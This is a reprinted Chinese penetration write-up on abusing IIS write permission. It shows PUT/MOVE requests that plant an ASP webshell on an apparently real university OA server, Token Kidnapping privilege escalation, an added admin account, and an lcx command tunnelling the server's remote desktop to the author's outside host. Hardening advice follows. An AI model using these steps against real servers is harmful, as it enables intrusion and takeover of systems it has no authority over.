IIS写权限的利用

2023-05-16

  源地址:http://netsecurity.51cto.com/art/200812/101015.htm

 IIS写权限对网站系统的安全是致命的,拥有写权限可以直接往网站目录写文件,在拥有写权限的服务器上,其安全相对设置薄弱,因此比较容易被入侵者控制,本文就IIS写权限方面进行了研究。


一、IIS写权限原理

测试一个目录对于web用户是否具有写权限,采用如下方法:

  1.telnet服务器并发送传送文件请求

   首先使用Telnet连接到服务器的web端口即80端口,并发送一个如下请求:

   

PUT /dir/my_file.txt HTTP/1.1
Host: IIS-server Content-Length: 10  

2.查看服务器返回信息

正常情况下服务器会返回一个100的信息,如下所示:

HTTP/1.1 100 Continue
Server: Microsoft-IIS/5.0
Date: Thu, 28 Num 2008 15:56:00 GMT 

3.测试是否可以输入

接着,我们输入10个字母:AAAAAAAAAA,送出这个请求后,看服务器的返回信息,如果是一个 201 Created响应,如下所示:

HTTP/1.1 201 Created Server: Microsoft-IIS/5.0 
Date: Thu, 28 Num 2008 15:56:08 GMT 
Location:http://IIS-server/dir/my_file.txt 
Content-Length: 0 
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT,COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, LOCK, UNLOCK 

那么就说明这个目录的写权限是开着的,反之,如果返回的是一个403错误,那么写权限就是没有开起来,如果需要你认证,并且返回一个 401(权限禁止) 的响应的话,说明是开了写权限,但是匿名用户不允许。如果一个目录同时开了“写”和“脚本和可执行程序”的话,那么Web用户就可以上传一个程序并且执行它。


二、实际渗透测试

 1.IIS写权限漏洞探测

以某高校的OA系统为例,其IP地址为202.115.*.*。通过上面的测试,发现该IIS目录可以进行读写操作,直接打开该IP地址可以正常访问Web页面,如图1所示。


说明:

该IP地址对外仅仅开放80和1433端口,由于所有业务系统是在登录后才能使用,使用明小子的Domain3.5、教主的HDSI3.0以及Zwell对Jsky等SQL注入工具均无漏洞利用点,无法通过SQL注入来获得突破。


2.直接提交文件

由于该IIS目录可以读写,最简单的办法就是提交一个asp的Webshell上去,但在实际提交asp文件时,IIS提示:“HTTP/1.1 403 Forbidden”错误,直接提交asp文件失败,所以直接用Post方式写asp不行了。

说明:

(1)在IIS写权限利用中的一个典型问题是:只要是IIS支持的文件类型在写入时都会产生HTTP/1.1 403 Forbidden错误。

(2)由于IIS除了可以执行put,post,get等动作外,还可以执行Copy,Move等命令,所以我们这可以先把本地asp上传到远程主机Web目录下保存为文件文件或者其它允许的文件,然后再通过copy,move等命令来修改这些文件为以后缀为asp的文件。

3.利用IIS写入漏洞利用工具软件提交

IIS写入漏洞的利用,通过手工操作比较繁琐,而且效率低下,一般使用一些IIS写入漏洞利用工具来操作。IIS写入利用工具其本质还是跟手工提交原理一样,先判断再尝试,只是将所有的过程通过编程来实现而已。在本例中使用桂林老兵的IIS写权限利用工具,先提交一个asp后门文件上去,如图2所示,在提交方式中选择PUT(前面直接使用Post失败了,所有这里要选择PUT),域名输入IP地址“202.115.*.*”,请求文件“/test.txt”,然后选择一个本地asp的webshell文件,选择完毕后单击“提交数据包”按钮,如果提交顺利,再在IE浏览器中打开test.txt文件,能够查看就表明提交成功。


说明:

用IIS写入利用工具提交文件,先提交生成一个test.txt文件,此文件实为asp后门的源文件。如图2所示,当我们访问地址“http://202.115.*.*/test.txt”时,可以看到此asp木马的源代码。

4.操作上传的文件

在桂林老兵的写权限利用工具中,选择move操作,利用IIS的move方法,将test.txt文本文件,重命名为shell.asp后门文件,然后再在IE地址栏中输入http://202.115.*.*/shell.asp,查看能否正常访问,如图3所示,执行过程显示“类型不匹配”错误。



说明:

当看到出现“类型不匹配‘execute’”错误提示时,说明后门提交成功,依照该方法重新上传一个功能强大的asp木马,上传成功后将其从命名为spy.asp。成功后后再在IE中输入地址:http://202.115.166.32/spy.asp ,并输入该Webshell的登陆密码“wrsky”,成功登陆,登录后发现该OA系统首页面已经被挂马,如图4所示,在该网站首页竟然挂了三个网页木马,都说高校的系统烂,百闻不如一见,果然如此,唉无语中!





5.清除网页木马

在Webshell中单击“批量清马(超强版)”链接,进入清除网页木马主界面,在“要清的马”中将刚才发现的网页木马代码复制过来粘贴在其中,然后单击“开始执行”按钮清除该OA系统中存在的网页木马,如图5所示,一共清除了200多个。




三、提升权限

1.利用“MS Windows Token Kidnapping”本地提升权限漏洞提权添加具有管理员权限的用户

在本案例中的Webshell权限比较低,因此可以尝试提升权限。由于系统补丁没打全,可以尝试利用“MS Windows Token Kidnapping”漏洞进行本地提升权限,通过该漏洞直接拿到系统权限。使用“net user admins Admin12345678! ”命令,添加用户账号“admins”的密码为“Admin12345678!”。

说明:

“MS Windows Token Kidnapping”漏洞已经出了一段时间了,该漏洞是由于在Network Service 或者 Local Service 下运行的代码,可以访问同样是在Network Service 或者 Local Service 下运行的进程,某些进程允许提升权限为Local System。对这个漏洞的解决方案一是打补丁,微软已经出了补丁。二是利用命令sc stop MSDTC & sc config MSDTC start= disabled,以达到控制权限提升的目的。

2.进行端口转发

通过再次扫描,发现此服务器置于防火墙后,确认该服务器只开放80和1433端口,同时利用Webshell发现系统终端端口已经被修改为“8080”端口,但由于是在内网,外网无法直接访问,必须通过端口转发程序将8080转发出来。

分别上传cmd.exe和lcx.exe到网站目录“e:\oa\seoa\”下,然后在“CMD命令”窗口中执行“e:\oa\seoa\lcx –slave 125.67.147.*  51 127.0.0.1 8080 ”,如图6所示。



此时此服务器的终端端口已经转发到我本机“125.67.147.*”的51端口上,我在本机执行“Lcx.exe  -listen 51 2222”将服务器终端再一次重定向到我本机的2222端口,然后连上本机2222端口,也就登陆了服务器的终端端口,成功转发。然后再打开mstsc远程桌面连接,输入刚才添加到用户和密码成功进入系统,如图7所示,至此利用IIS写权限已经成功渗透该OA系统。



四、安全防范与加固

1.卸载一些危险的组件

基本的防御方法,卸载一些不必要的组件,比如wscript.shell之类,在运行中分别执行以下命令卸载wscript.shell等危险组件:

(1)regsvr32 /u c:\windows\system32\WSHom.Ocx /s

(2)regsvr32  /u C:\WIndows\system32\shell32.dll /s

执行完毕后,再在asp木马上运行系统命令的时候,出现“ActiveX不见不能创建对象”,如图8所示。



由于此时已经不能执行系统命令,即使漏洞没有修补,也没法提升权限,因为已经不能执行命令。 

2.卸载FSO组件

在服务器上执行“RegSvr32 /u C:\WINDOWS\SYSTEM32\scrrun.dll  /s ”命令卸载fso组件,再在Webshell中执行命令,此时会出现“缺少对象”错误,如图9所示。



注意:

从安全的角度禁用FSO组件比较好,此时asp木马都不能运行,也有一个问题,如果网站程序自身需要FSO组件,也有可能造成网站瘫痪,只要执行“RegSvr32 C:\WINDOWS\SYSTEM32\scrrun.dll  /s ”命令重新注册并重启动服务器就可以正常运行。

3.关闭无用服务和升级系统补丁
通过在运行中执行“services.msc”命令打开服务管理器,禁用一些危险和不必要的服务。在合理设置系统中的一些权限,并升级系统补丁。

五、总结与体会

本次能够成功渗透该高校OA系统最主要原因有两个,一个是IIS设置不严格,系统存在IIS上传漏洞;第二个原因是新漏洞出来很长时间了,都快2个月了,系统还未进行修补!在加固过程中我仔细查看其IIS设置,如图10所示,在IIS的主目录下,该OA系统权限设置不当,由于勾选了“写入”权限,所以触发IIS写入漏洞。正确的设置是将读取权限以外的所有权限去掉。提醒各位站长,应该特别注意的是否有必要给予目录浏览和写入权限,目录浏览也是一个很大的问题,可能会泄露本机的网站内容。





欢迎大家来我个网站交流学习

网络人编程论坛

http://www.wangluoren.net







本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

IIS写权限的利用 的相关文章

随机推荐

  • LDAP 中 CN, OU, DC 的含义

    1 LDAP的存储规则 区分名 xff08 DN xff0c Distinguished Name xff09 和自然界中的树不同 xff0c 文件系统 LDAP 电话号码簿目录的每一片枝叶都至少有一个独一无二的属性 xff0c 这一属性可
  • bat修改hosts文件

    attrib R C WINDOWS system32 drivers etc hosts 64 echo 64 echo 127 0 0 1 aaaa bbb com gt gt C WINDOWS system32 drivers et
  • 使用org.apache.tools.zip实现zip压缩和解压

    import java io import org apache tools zip import java util Enumeration 功能 zip压缩 解压 支持中文文件名 说明 本程序通过使用Apache Ant里提供的zip工
  • freeModbus代码解读及移植笔记

    freeModbus的代码库还是很好用的 xff0c 本人在wince和C8051F410下均移植成功 xff08 只用到RTU模式 xff09 但freeModbus提供的文档比较少 xff0c 只能对照着Modbus协议一点点试着读懂源
  • MySQL变量:local_infile

    local infile服务器变量指示能否使用load data local infile命令 该变量默认为ON 该变量为OFF时 xff0c 禁用客户端的load data local infile命令 Sql代码 mysql gt sh
  • strcpy函数实现

    C语言标准库函数strcpy的一种典型的工业级的最简实现 返回值 xff1a 返回目标串的地址 对于出现异常的情况ANSI C99标准并未定义 xff0c 故由实现者决定返回值 xff0c 通常为NULL 参数 xff1a strDesti
  • C++库介绍

    1 C 43 43 标准库 xff08 STL xff09 STL六大组件 容器 算法 迭代器 仿函数 适配器 配接器 空间配置器 1 容器 各种数据结构 xff0c 如vector list deque set map等 xff0c 用来
  • 【C++】extern “C“ 用法详解

    前言 前面简单了解了C 43 43 中的extern 34 C 34 之后 xff0c 可能很多小伙伴对这个陌生的词非常困惑 xff0c 不能理解他的使用场景 所以本章内容就来详细了解extern 34 C 34 的用法 xff0c 这里使
  • FreeRTOS学习第三篇——FreeRTOS任务创建(下)

    声明 xff1a 本文为博主的学习篇章 xff0c 欢迎大家指错 xff0c 共同学习 在解决一下上篇遗留下来的问题之前 xff0c 还得提前做些功课 xff0c 了解一些FreeRTOS的全局变量 PRIVILEGED DATA stat
  • printf用法之打印二进制,八进制,十进制,十六进制

    printf用法之打印2进制 xff0c 八进制 xff0c 十进制 xff0c 十六进制 printf是格式化输出函数 xff0c 它可以直接打印十进制 xff0c 八进制 xff0c 十六进制 xff0c 输出控制符分别为 d o x
  • 【飞控开发基础教程7】疯壳·开源编队无人机-SPI(气压计数据获取)

    COCOFLY教程 疯壳 无人机 系列 SPI xff08 气压计数据获取 xff09 图1 一 SPL06 简介 SPL06 是歌尔公司最新推出新款气压传感器 xff0c 最新推出新款气压传感器SPL06 001 xff0c 歌尔是全球领
  • 【遥控器开发基础教程5】疯壳·开源编队无人机-SPI(2.4G 双机通信)

    COCOFLY教程 疯壳无人机 系列 SPI 2 4G 双机通信 图1 一 NRF24L01 1 1 NRF24L01 简介 NRF24L01 是由NORDIC 生产的工作在 2 4GHz 2 5GHz 的ISM 频段的单片无线收发器芯片
  • tcp之IO模型

    5种io模型 tcp服务器分为了5种io复用模型 分别是 阻塞io模型 非阻塞io模型 io复用 信号驱动io 异步io 本文会讲前面3种io模型的tcp服务器实现 本文只做tcp服务器实现 客户端逻辑处理 接收数据等缓冲区不做深入说明 简
  • C语言带参数的宏定义

    C语言允许宏带有参数 在宏定义中的参数称为 形式参数 xff0c 在宏调用中的参数称为 实际参数 xff0c 这点和函数有些类似 对带参数的宏 xff0c 在展开过程中不仅要进行字符串替换 xff0c 还要用实参去替换形参 带参宏定义的一般
  • Ubuntu U盘安装时安装时卡在Syslinux的问题

    用软碟通制作的U盘启动 xff0c ubuntu是11 10版本 xff0c 安装时显示 xff1a SYSLINUX 3 86 2010 04 01 EBIOS Copyright C 1994 2010 H Peter Anvin et
  • new 对象加括号和不加括号的区别

    原文 xff1a http www java123 net v 951963 html 在new对象的时候有加上 xff0c 有不加 xff0c 不知道这个到底是什么区别 xff1f 比如 xff1a CBase base 61 new C
  • cocos2d-x 3.x游戏开发学习笔记(1)--mac下配置cocos2d-x 3.x开发环境

    原文 xff1a http blog csdn net likendsl article details 34617725 打开用户目录下 bash profile文件 xff0c 配置环境 python view plain copy p
  • cocos2dx[3.2](15)——颜色混合BlendFunc

    原文 xff1a 点此 1 概念 混合 是指两种颜色的叠加方式 在新图片将要渲染画到屏幕上的时候 xff0c 将用在新图片中的红 绿 蓝和透明度信息 xff0c 与屏幕上已经存在的图片颜色信息相融合 说的具体一点 xff0c 就是把某一像素
  • 整理一些面试可能会遇到的算法题目

    将两个有序的单链表合并为一个有序的单链表 xff0c 默认是按升序排列的 两路归并排序 xff08 升序排列 xff09 平均 最差 时间复杂度O NlogN typedef struct Node t struct Node t next
  • IIS写权限的利用

    源地址 xff1a http netsecurity 51cto com art 200812 101015 htm IIS写权限对网站系统的安全是致命的 xff0c 拥有写权限可以直接往网站目录写文件 xff0c 在拥有写权限的服务器上